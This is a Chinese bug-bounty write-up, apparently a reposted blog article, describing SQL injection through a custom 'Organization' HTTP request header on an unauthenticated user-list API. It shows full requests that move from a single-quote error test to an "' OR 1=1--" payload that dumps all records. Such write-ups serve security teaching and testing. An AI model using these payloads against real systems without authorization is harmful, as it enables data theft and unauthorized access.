【SRC案例分享-16】不一样的SQL注入之请求头注入

admin 2026-07-02 06:02:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分享一次SRC实战中的请求头SQL注入案例,作者发现某接口返回用户组织不能为空错误,通过将organization参数从请求体移至请求头成功访问,随后测试发现该参数存在SQL注入漏洞,利用单引号触发报错并通过OR1=1实现数据泄露,揭示了请求头参数的安全风险与测试方法。 综合评分: 83 文章分类: WEB安全,渗透测试,实战经验,漏洞分析,SRC活动


cover_image

【SRC案例分享-16】不一样的SQL注入之请求头注入

原创

low洞百出 low洞百出

low洞百出

2026年6月30日 10:07 湖南

在小说阅读器读本章

去阅读

免责声明:本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章,内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章,所引发的一切法律责任与经济损失,均由使用者自行承担,与本公众号及作者无关。如有内容侵权,请及时联系处理。

前言

提到请求头注入,很多人的第一反应是经典的 X-Forwarded-For 注入。而本文要分享的,正是一次与 XXF 注入思路类似、却又略有不同的实战案例,希望能给各位师傅带来一些启发。

案例分享

在一次渗透测试过程中,我发现了一个值得关注的接口。该接口无需鉴权即可直接访问,但返回结果却是 HTTP 500,错误提示为:“用户组织不能为空”。

HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{    "code": 500,    "message": "用户组织不能为空",    "data": null}

根据报错信息,我尝试在请求体中添加 organization 参数,并赋予一个测试值。然而,服务端依然无情地返回“组织不能为空”。

POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonUser-Agent: Mozilla/5.0
{"organization": "test123"}
HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{    "code": 500,    "message": "用户组织不能为空",    "data": null}

此时我开始疑惑:参数名明明正确,传值也正常,为什么会一直提示为空?难道是系统做了严格的校验,或是我传入的值不被识别?

后面测试了半天,想了一下,也行需要添加的参数可能压根就不是要求在请求体中,难道是请求头?

试了试,添加请求头参数并且传值

POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123User-Agent: Mozilla/5.0
{}
HTTP/1.1 200 OKContent-Type: application/json
{    "code": 200,    "message": "success",    "data": []}

果然,没报错了返回结果从500变成了200

但是问题又来了,虽然是返回200,因为我的Organization值是随便传的,肯定是没数据的

不过这也从侧面说明了一个问题,该接口可能存在未授权问题,无需身份校验即可调用,可能只需要传入正确的Organization参数值即可获取数据

然而经常测试的师傅们都知道,一般这种Organization参数的值就是一大串例如121212121xxxxxx123121类似的无法遍历,无法猜解的

开始一直想着到哪里能获取到Organization参数值,看能不能拿到点数据,实际上没什么效果,真没法直接白嫖到这一大串

也是很折磨,这个时候一个想着该接口既然是通过传入的Organization参数值来获取数据,那是不是说明是通过数据库查询传入的Organization参数值来获取数据?

这个时候就不得不测试一下SQL注入了,在后面加一个简单的单引号试试

POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123'User-Agent: Mozilla/5.0
{}
HTTP/1.1 500 Internal Server ErrorContent-Type: text/html
<b>SQL&nbsp;Syntax Error</b>: You have an error&nbsp;in&nbsp;your&nbsp;SQL&nbsp;syntax;&nbsp;check&nbsp;the manual that corresponds&nbsp;to&nbsp;your MySQL server version&nbsp;for&nbsp;the&nbsp;right&nbsp;syntax&nbsp;to&nbsp;use near&nbsp;''test123''' at line 1

果不其然,一大串sql语法报错

每次测试sql注入,看到给个单引号就触发报错,就给人一种给个平A就交大的感觉哈

接下来就是直接报错注入,拿下数据库名,证明漏洞存在即可

既然有注入,那么直接尝试一下输入恒真表达式看看能不能返回数据?

POST&nbsp;/api/user/list&nbsp;HTTP/1.1Host:&nbsp;xxx.target.comContent-Type:&nbsp;application/jsonOrganization:&nbsp;test123' OR 1=1--&nbsp;User-Agent:&nbsp;Mozilla/5.0
{}

直接一个’ or 1=1– 返回了接口全部信息

类似于登录框SQL注入的万能密码,其实也是相当于一种权限绕过思路了,实际上SQL注入的本质就是将用户输入的数据当做sql语句执行。更多请求头相关测试思路,师傅们可观看上一篇文章。

总结

请求头其实也有很多能操作的地方,需要师傅们耐心加细心,师傅们也可以分享一下其他的思路。

感谢关注,出货不迷路!

往期推荐

【SRC案例分享-15】越权提示403无权限?试试这种绕过思路

【SRC案例分享-14】来自”官方”的短信,是如何被炮制出来的?

【SRC案例分享-13】记一次把账号”玩坏”了的业务逻辑漏洞

【CNVD证书案例-12】未授权与任意文件读取漏洞拿下CNVD证书

【工具相关分享-11】告别”古法挖洞”-Codex接入DeepSeek教程

【SRC案例分享-10】记一次”fuzz”参数拿下赏金

【SRC案例分享-09】支付漏洞-简单的“0元购”思路

【SRC案例分享-08】你设置的密码,也许只“防”住了你自己——浅谈弱口令漏洞

【SRC案例分享-07】记一次信息收集*2

【SRC案例分享-06】记一次信息收集

【SRC案例分享-05】任意账号接管-短信验证码校验失效

【SRC案例分享-04】任意账号接管-寻找隐藏登录方式

【SRC案例分享-03】个人测试习惯捡到的未授权漏洞

【SRC案例分享-02】记一次搜索框”%”出奇迹

【SRC案例分享-01】页面404? 接口401?说不定还能操作!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:low洞百出 low洞百出 low洞百出《【SRC案例分享-16】不一样的SQL注入之请求头注入》

评论:0   参与:  0